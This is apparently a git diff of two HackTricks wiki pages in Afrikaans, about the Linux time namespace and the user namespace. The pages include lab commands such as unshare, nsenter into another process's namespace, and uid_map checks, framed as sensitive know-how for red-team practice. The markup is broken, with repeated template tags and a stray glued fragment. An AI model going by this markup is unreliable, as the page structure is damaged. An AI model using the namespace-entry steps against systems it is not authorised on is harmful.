* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,31 @@
|
|||
# Tyd-Namespace
|
||||
# Tyd Namespace
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Die tyd-namespace in Linux maak dit moontlik om per-namespace verskuiwings na die stelsel se monotone en opstarttydklokke te hê. Dit word algemeen gebruik in Linux-houers om die datum/tyd binne 'n houer te verander en klokke aan te pas nadat dit van 'n kontrolepunt of afskakeling herstel is.
|
||||
Die tyd namespace in Linux laat per-namespace offsets toe vir die stelsel monotonic en opstart-tyd kloks. Dit word algemeen gebruik in Linux houers om die datum/tyd binne 'n houer te verander en kloks aan te pas na herstel vanaf 'n kontrolepunt of snapshot.
|
||||
|
||||
## Laboratorium:
|
||||
|
||||
|
@ -26,27 +35,27 @@ Die tyd-namespace in Linux maak dit moontlik om per-namespace verskuiwings na di
|
|||
```bash
|
||||
sudo unshare -T [--mount-proc] /bin/bash
|
||||
```
|
||||
Deur 'n nuwe instansie van die `/proc`-lêersisteem te monteer as jy die parameter `--mount-proc` gebruik, verseker jy dat die nuwe berg-namespace 'n **akkurate en geïsoleerde siening van die prosesinligting spesifiek vir daardie namespace** het.
|
||||
Deur 'n nuwe instansie van die `/proc` lêerstelsel te monteer as jy die parameter `--mount-proc` gebruik, verseker jy dat die nuwe monteernaamruimte 'n **akkurate en geïsoleerde siening van die prosesinligting spesifiek vir daardie naamruimte** het.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Fout: bash: fork: Kan nie geheue toewys nie</summary>
|
||||
|
||||
Wanneer `unshare` uitgevoer word sonder die `-f`-opsie, word 'n fout aangetref as gevolg van die manier waarop Linux nuwe PID (Proses-ID) namespaces hanteer. Die sleuteldetails en die oplossing word hieronder uiteengesit:
|
||||
Wanneer `unshare` sonder die `-f` opsie uitgevoer word, word 'n fout ondervind weens die manier waarop Linux nuwe PID (Proses ID) naamruimtes hanteer. Die sleutelbesonderhede en die oplossing word hieronder uiteengesit:
|
||||
|
||||
1. **Probleemverduideliking**:
|
||||
- Die Linux-kernel maak dit moontlik vir 'n proses om nuwe namespaces te skep deur die `unshare`-stelseloproep te gebruik. Die proses wat die skepping van 'n nuwe PID-namespace inisieer (bekend as die "unshare"-proses) betree egter nie die nuwe namespace nie; slegs sy kinderprosesse doen dit.
|
||||
- Die uitvoering van `%unshare -p /bin/bash%` begin `/bin/bash` in dieselfde proses as `unshare`. Gevolglik is `/bin/bash` en sy kinderprosesse in die oorspronklike PID-namespace.
|
||||
- Die eerste kinderproses van `/bin/bash` in die nuwe namespace word PID 1. Wanneer hierdie proses afsluit, veroorsaak dit die skoonmaak van die namespace as daar geen ander prosesse is nie, aangesien PID 1 die spesiale rol het om weeskindprosesse aan te neem. Die Linux-kernel sal dan PID-toekenning in daardie namespace deaktiveer.
|
||||
1. **Probleemverklaring**:
|
||||
- Die Linux-kern laat 'n proses toe om nuwe naamruimtes te skep met die `unshare` stelselaanroep. Die proses wat die skepping van 'n nuwe PID naamruimte inisieer (genoem die "unshare" proses) betree egter nie die nuwe naamruimte nie; slegs sy kindproses doen.
|
||||
- Om `%unshare -p /bin/bash%` te loop, begin `/bin/bash` in dieselfde proses as `unshare`. Gevolglik is `/bin/bash` en sy kindproses in die oorspronklike PID naamruimte.
|
||||
- Die eerste kindproses van `/bin/bash` in die nuwe naamruimte word PID 1. Wanneer hierdie proses verlaat, aktiveer dit die opruiming van die naamruimte as daar geen ander prosesse is nie, aangesien PID 1 die spesiale rol het om weesprosesse aan te neem. Die Linux-kern sal dan PID-toewysing in daardie naamruimte deaktiveer.
|
||||
|
||||
2. **Gevolg**:
|
||||
- Die afsluiting van PID 1 in 'n nuwe namespace lei tot die skoonmaak van die `PIDNS_HASH_ADDING`-vlag. Dit veroorsaak dat die `alloc_pid`-funksie misluk om 'n nuwe PID toe te ken wanneer 'n nuwe proses geskep word, wat die "Kan nie geheue toewys nie" -fout veroorsaak.
|
||||
- Die uitgang van PID 1 in 'n nuwe naamruimte lei tot die opruiming van die `PIDNS_HASH_ADDING` vlag. Dit lei tot die mislukking van die `alloc_pid` funksie om 'n nuwe PID toe te wys wanneer 'n nuwe proses geskep word, wat die "Kan nie geheue toewys nie" fout veroorsaak.
|
||||
|
||||
3. **Oplossing**:
|
||||
- Die probleem kan opgelos word deur die `-f`-opsie saam met `unshare` te gebruik. Hierdie opsie maak `unshare` 'n nuwe proses na die skepping van die nuwe PID-namespace.
|
||||
- Deur `%unshare -fp /bin/bash%` uit te voer, verseker jy dat die `unshare`-opdrag self PID 1 in die nuwe namespace word. `/bin/bash` en sy kinderprosesse word dan veilig binne hierdie nuwe namespace gehou, wat die voortydige afsluiting van PID 1 voorkom en normale PID-toekenning moontlik maak.
|
||||
- Die probleem kan opgelos word deur die `-f` opsie saam met `unshare` te gebruik. Hierdie opsie maak dat `unshare` 'n nuwe proses fork nadat die nuwe PID naamruimte geskep is.
|
||||
- Om `%unshare -fp /bin/bash%` uit te voer, verseker dat die `unshare` opdrag self PID 1 in die nuwe naamruimte word. `/bin/bash` en sy kindproses is dan veilig binne hierdie nuwe naamruimte, wat die voortydige uitgang van PID 1 voorkom en normale PID-toewysing toelaat.
|
||||
|
||||
Deur te verseker dat `unshare` met die `-f`-vlag uitgevoer word, word die nuwe PID-namespace korrek onderhou, sodat `/bin/bash` en sy subprosesse kan werk sonder om die geheue-toewysingsfout te ondervind.
|
||||
Deur te verseker dat `unshare` met die `-f` vlag loop, word die nuwe PID naamruimte korrek gehandhaaf, wat toelaat dat `/bin/bash` en sy sub-prosesse funksioneer sonder om die geheue toewysing fout te ondervind.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -54,15 +63,7 @@ Deur te verseker dat `unshare` met die `-f`-vlag uitgevoer word, word die nuwe P
|
|||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  Kyk watter namespace jou proses in is
|
||||
|
||||
Om te bepaal in watter namespace jou proses tans is, kan jy die volgende opdrag gebruik:
|
||||
|
||||
```bash
|
||||
cat /proc/$$/ns/pid
|
||||
```
|
||||
|
||||
Hier is 'pid' die identifikasienommer van die proses waarvoor jy die namespace wil bepaal.
|
||||
###  Kontroleer in watter naamruimte jou proses is
|
||||
```bash
|
||||
ls -l /proc/self/ns/time
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
|
||||
|
@ -77,39 +78,37 @@ sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null |
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### Betree binne 'n Tyd-namespace
|
||||
|
||||
Om binne 'n Tyd-namespace in te gaan, kan jy die volgende stappe volg:
|
||||
|
||||
1. Identifiseer die PID van die proses waarin jy wil binnekom.
|
||||
2. Voer die volgende opdrag uit om die proses binne die Tyd-namespace te betree:
|
||||
|
||||
```bash
|
||||
nsenter --time=/proc/<PID>/ns/time /bin/bash
|
||||
```
|
||||
|
||||
Vervang `<PID>` met die regte proses-ID.
|
||||
|
||||
Nadat jy die opdrag uitgevoer het, sal jy binne die Tyd-namespace wees en kan jy die funksies en hulpbronne binne daardie namespace manipuleer.
|
||||
### Gaan binne 'n Tyd-namespace in
|
||||
```bash
|
||||
nsenter -T TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Verder kan jy slegs **toegang verkry tot 'n ander proses-namespace as jy root is**. En jy **kan nie** **toegang kry** tot 'n ander namespace **sonder 'n beskrywer** wat daarna verwys nie (soos `/proc/self/ns/net`).
|
||||
|
||||
## Verwysings
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
* [https://www.phoronix.com/news/Linux-Time-Namespace-Coming](https://www.phoronix.com/news/Linux-Time-Namespace-Coming)
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,61 +1,68 @@
|
|||
# Gebruikersnaamruimte
|
||||
# User Namespace
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
## Basic Information
|
||||
|
||||
'n Gebruikersnaamruimte is 'n Linux-kernelkenmerk wat **afsondering van gebruikers- en groep-ID-toewysings bied**, wat elke gebruikersnaamruimte in staat stel om sy **eie stel gebruikers- en groep-ID's** te hê. Hierdie afsondering maak dit moontlik dat prosesse wat in verskillende gebruikersnaamruimtes loop, **verskillende voorregte en eienaarskap het**, selfs as hulle dieselfde gebruikers- en groep-ID's numeries deel.
|
||||
'n gebruiker naamruimte is 'n Linux-kernfunksie wat **isolasie van gebruiker- en groep-ID-kaartings verskaf**, wat elke gebruiker naamruimte toelaat om sy **eie stel van gebruiker- en groep-ID's** te hê. Hierdie isolasie stel prosesse wat in verskillende gebruiker naamruimtes loop in staat om **verskillende voorregte en eienaarskap te hê**, selfs al deel hulle dieselfde gebruiker- en groep-ID's numeries.
|
||||
|
||||
Gebruikersnaamruimtes is veral nuttig in konteinering, waar elke kontainer sy eie onafhanklike stel gebruikers- en groep-ID's moet hê, wat beter sekuriteit en afsondering tussen konteinere en die gasheerstelsel moontlik maak.
|
||||
Gebruiker naamruimtes is veral nuttig in houers, waar elke houer sy eie onafhanklike stel van gebruiker- en groep-ID's moet hê, wat beter sekuriteit en isolasie tussen houers en die gasheerstelsel moontlik maak.
|
||||
|
||||
### Hoe dit werk:
|
||||
### How it works:
|
||||
|
||||
1. Wanneer 'n nuwe gebruikersnaamruimte geskep word, **begin dit met 'n leë stel gebruikers- en groep-ID-toewysings**. Dit beteken dat enige proses wat in die nuwe gebruikersnaamruimte loop, **aanvanklik geen voorregte buite die naamruimte het nie**.
|
||||
2. ID-toewysings kan tot stand gebring word tussen die gebruikers- en groep-ID's in die nuwe naamruimte en dié in die ouer (of gasheer) naamruimte. Dit **maak dit moontlik dat prosesse in die nuwe naamruimte voorregte en eienaarskap het wat ooreenstem met die gebruikers- en groep-ID's in die ouer naamruimte**. Die ID-toewysings kan egter beperk word tot spesifieke reekse en subsets van ID's, wat fynbeheerde beheer oor die voorregte wat aan prosesse in die nuwe naamruimte verleen word, moontlik maak.
|
||||
3. Binne 'n gebruikersnaamruimte kan **prosesse volle root-voorregte (UID 0) hê vir operasies binne die naamruimte**, terwyl hulle steeds beperkte voorregte buite die naamruimte het. Dit maak dit moontlik dat **konteinere met root-agtige vermoëns binne hul eie naamruimte kan loop sonder om volle root-voorregte op die gasheerstelsel te hê**.
|
||||
4. Prosesse kan tussen naamruimtes beweeg deur die `setns()`-sisteemaanroep te gebruik of nuwe naamruimtes te skep deur die `unshare()`- of `clone()`-sisteemaanroep met die `CLONE_NEWUSER`-vlag te gebruik. Wanneer 'n proses na 'n nuwe naamruimte beweeg of een skep, begin dit die gebruikers- en groep-ID-toewysings wat met daardie naamruimte geassosieer is, gebruik.
|
||||
1. Wanneer 'n nuwe gebruiker naamruimte geskep word, **begin dit met 'n leë stel van gebruiker- en groep-ID-kaartings**. Dit beteken dat enige proses wat in die nuwe gebruiker naamruimte loop, **aanvanklik geen voorregte buite die naamruimte sal hê**.
|
||||
2. ID-kaartings kan gevestig word tussen die gebruiker- en groep-ID's in die nuwe naamruimte en dié in die ouer (of gasheer) naamruimte. Dit **laat prosesse in die nuwe naamruimte toe om voorregte en eienaarskap te hê wat ooreenstem met gebruiker- en groep-ID's in die ouer naamruimte**. Die ID-kaartings kan egter beperk word tot spesifieke reekse en substelle van ID's, wat fynbeheer oor die voorregte wat aan prosesse in die nuwe naamruimte toegeken word, moontlik maak.
|
||||
3. Binne 'n gebruiker naamruimte kan **prosesse volle wortelvoorregte (UID 0) hê vir operasies binne die naamruimte**, terwyl hulle steeds beperkte voorregte buite die naamruimte het. Dit laat **houers toe om met wortelagtige vermoëns binne hul eie naamruimte te loop sonder om volle wortelvoorregte op die gasheerstelsel te hê**.
|
||||
4. Prosesse kan tussen naamruimtes beweeg deur die `setns()` stelselskakel of nuwe naamruimtes skep deur die `unshare()` of `clone()` stelselskakels met die `CLONE_NEWUSER` vlag. Wanneer 'n proses na 'n nuwe naamruimte beweeg of een skep, sal dit begin om die gebruiker- en groep-ID-kaartings wat met daardie naamruimte geassosieer is, te gebruik.
|
||||
|
||||
## Laboratorium:
|
||||
## Lab:
|
||||
|
||||
### Skep verskillende Naamruimtes
|
||||
### Create different Namespaces
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -U [--mount-proc] /bin/bash
|
||||
```
|
||||
Deur 'n nuwe instansie van die `/proc`-lêersisteem te monteer as jy die parameter `--mount-proc` gebruik, verseker jy dat die nuwe berg-namespace 'n **akkurate en geïsoleerde siening van die prosesinligting spesifiek vir daardie namespace** het.
|
||||
Deur 'n nuwe instansie van die `/proc` lêerstelsel te monteer as jy die parameter `--mount-proc` gebruik, verseker jy dat die nuwe monteernaamruimte 'n **akkurate en geïsoleerde siening van die prosesinligting spesifiek vir daardie naamruimte** het.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Fout: bash: fork: Kan nie geheue toewys nie</summary>
|
||||
|
||||
Wanneer `unshare` uitgevoer word sonder die `-f`-opsie, word 'n fout aangetref as gevolg van die manier waarop Linux nuwe PID (Proses-ID) namespaces hanteer. Die sleuteldetails en die oplossing word hieronder uiteengesit:
|
||||
Wanneer `unshare` sonder die `-f` opsie uitgevoer word, word 'n fout ondervind weens die manier waarop Linux nuwe PID (Proses ID) naamruimtes hanteer. Die sleutelbesonderhede en die oplossing word hieronder uiteengesit:
|
||||
|
||||
1. **Probleemverduideliking**:
|
||||
- Die Linux-kernel maak dit moontlik vir 'n proses om nuwe namespaces te skep deur die `unshare`-stelseloproep te gebruik. Die proses wat die skepping van 'n nuwe PID-namespace inisieer (bekend as die "unshare"-proses) betree egter nie die nuwe namespace nie; slegs sy kinderprosesse doen dit.
|
||||
- Die uitvoering van `%unshare -p /bin/bash%` begin `/bin/bash` in dieselfde proses as `unshare`. Gevolglik is `/bin/bash` en sy kinderprosesse in die oorspronklike PID-namespace.
|
||||
- Die eerste kinderproses van `/bin/bash` in die nuwe namespace word PID 1. Wanneer hierdie proses afsluit, veroorsaak dit die skoonmaak van die namespace as daar geen ander prosesse is nie, aangesien PID 1 die spesiale rol het om weeskindprosesse aan te neem. Die Linux-kernel sal dan PID-toekenning in daardie namespace deaktiveer.
|
||||
1. **Probleemverklaring**:
|
||||
- Die Linux-kern laat 'n proses toe om nuwe naamruimtes te skep met die `unshare` stelselaanroep. Die proses wat die skepping van 'n nuwe PID naamruimte inisieer (genoem die "unshare" proses) gaan egter nie in die nuwe naamruimte in nie; slegs sy kindproses gaan.
|
||||
- Om `%unshare -p /bin/bash%` te loop, begin `/bin/bash` in dieselfde proses as `unshare`. Gevolglik is `/bin/bash` en sy kindproses in die oorspronklike PID naamruimte.
|
||||
- Die eerste kindproses van `/bin/bash` in die nuwe naamruimte word PID 1. Wanneer hierdie proses verlaat, aktiveer dit die opruiming van die naamruimte as daar geen ander prosesse is nie, aangesien PID 1 die spesiale rol het om weeskindprosesse aan te neem. Die Linux-kern sal dan PID-toewysing in daardie naamruimte deaktiveer.
|
||||
|
||||
2. **Gevolg**:
|
||||
- Die afsluiting van PID 1 in 'n nuwe namespace lei tot die skoonmaak van die `PIDNS_HASH_ADDING`-vlag. Dit veroorsaak dat die `alloc_pid`-funksie misluk om 'n nuwe PID toe te ken wanneer 'n nuwe proses geskep word, wat die "Kan nie geheue toewys nie" -fout veroorsaak.
|
||||
- Die uitgang van PID 1 in 'n nuwe naamruimte lei tot die opruiming van die `PIDNS_HASH_ADDING` vlag. Dit lei tot die `alloc_pid` funksie wat misluk om 'n nuwe PID toe te wys wanneer 'n nuwe proses geskep word, wat die "Kan nie geheue toewys nie" fout veroorsaak.
|
||||
|
||||
3. **Oplossing**:
|
||||
- Die probleem kan opgelos word deur die `-f`-opsie saam met `unshare` te gebruik. Hierdie opsie maak `unshare` 'n nuwe proses na die skepping van die nuwe PID-namespace.
|
||||
- Deur `%unshare -fp /bin/bash%` uit te voer, verseker jy dat die `unshare`-opdrag self PID 1 in die nuwe namespace word. `/bin/bash` en sy kinderprosesse word dan veilig binne hierdie nuwe namespace gehou, wat die voortydige afsluiting van PID 1 voorkom en normale PID-toekenning moontlik maak.
|
||||
- Die probleem kan opgelos word deur die `-f` opsie saam met `unshare` te gebruik. Hierdie opsie maak dat `unshare` 'n nuwe proses fork nadat die nuwe PID naamruimte geskep is.
|
||||
- Om `%unshare -fp /bin/bash%` uit te voer, verseker dat die `unshare` opdrag self PID 1 in die nuwe naamruimte word. `/bin/bash` en sy kindproses is dan veilig binne hierdie nuwe naamruimte, wat die voortydige uitgang van PID 1 voorkom en normale PID-toewysing toelaat.
|
||||
|
||||
Deur te verseker dat `unshare` met die `-f`-vlag uitgevoer word, word die nuwe PID-namespace korrek onderhou, sodat `/bin/bash` en sy subprosesse kan werk sonder om die geheue-toewysingsfout te ondervind.
|
||||
Deur te verseker dat `unshare` met die `-f` vlag loop, word die nuwe PID naamruimte korrek gehandhaaf, wat toelaat dat `/bin/bash` en sy sub-prosesse kan werk sonder om die geheue toewysing fout te ondervind.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -63,24 +70,24 @@ Deur te verseker dat `unshare` met die `-f`-vlag uitgevoer word, word die nuwe P
|
|||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
Om gebruikersnaamruimte te gebruik, moet die Docker-daemon begin word met **`--userns-remap=default`** (In Ubuntu 14.04 kan dit gedoen word deur `/etc/default/docker` te wysig en dan `sudo service docker restart` uit te voer)
|
||||
Om die gebruikersnaamruimte te gebruik, moet die Docker-daemon begin word met **`--userns-remap=default`** (In ubuntu 14.04 kan dit gedoen word deur `/etc/default/docker` te wysig en dan `sudo service docker restart` uit te voer)
|
||||
|
||||
###  Kyk in watter naamruimte jou proses is
|
||||
###  Kontroleer in watter naamruimte jou proses is
|
||||
```bash
|
||||
ls -l /proc/self/ns/user
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
|
||||
```
|
||||
Dit is moontlik om die gebruikerskaart van die Docker-container te kontroleer met:
|
||||
Dit is moontlik om die gebruikerskaart vanaf die docker-container te kontroleer met:
|
||||
```bash
|
||||
cat /proc/self/uid_map
|
||||
0 0 4294967295 --> Root is root in host
|
||||
0 231072 65536 --> Root is 231072 userid in host
|
||||
```
|
||||
Of vanaf die gasheer met:
|
||||
Of van die gasheer met:
|
||||
```bash
|
||||
cat /proc/<pid>/uid_map
|
||||
```
|
||||
### Vind alle Gebruiker namespaces
|
||||
### Vind alle gebruikersname ruimtes
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -90,32 +97,13 @@ sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null |
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### Betree binne 'n Gebruikersnaamruimte
|
||||
|
||||
Om binne 'n gebruikersnaamruimte in te gaan, kan jy die volgende stappe volg:
|
||||
|
||||
1. Kyk na die huidige gebruikersnaamruimte-inligting deur die volgende opdrag uit te voer:
|
||||
```
|
||||
cat /proc/$$/uid_map
|
||||
```
|
||||
|
||||
2. Maak 'n nuwe gebruikersnaamruimte met behulp van die volgende opdrag:
|
||||
```
|
||||
unshare --user
|
||||
```
|
||||
|
||||
3. Bevestig dat jy binne die nuwe gebruikersnaamruimte is deur die volgende opdrag uit te voer:
|
||||
```
|
||||
cat /proc/$$/uid_map
|
||||
```
|
||||
|
||||
Deur hierdie stappe te volg, kan jy binne 'n gebruikersnaamruimte binnekom en die relevante funksies en bevoegdhede daarvan verken.
|
||||
### Gaan binne 'n Gebruiker-namespace in
|
||||
```bash
|
||||
nsenter -U TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Verder kan jy slegs **toegang kry tot 'n ander proses-namespace as jy root is**. En jy **kan nie** **toegang kry** tot 'n ander namespace **sonder 'n beskrywer** wat daarna verwys nie (soos `/proc/self/ns/user`).
|
||||
Ook, jy kan slegs **in 'n ander prosesnaamruimte ingaan as jy root is**. En jy **kan nie** **ingaan** in 'n ander naamruimte **sonder 'n beskrywer** wat daarna verwys nie (soos `/proc/self/ns/user`).
|
||||
|
||||
### Skep 'n nuwe Gebruikers-namespace (met karterings)
|
||||
### Skep nuwe Gebruiker naamruimte (met kaarte)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -131,14 +119,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody
|
|||
ps -ef | grep bash # The user inside the host is still root, not nobody
|
||||
root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
|
||||
```
|
||||
### Herstel van Vaardighede
|
||||
### Herwinning van Vermoëns
|
||||
|
||||
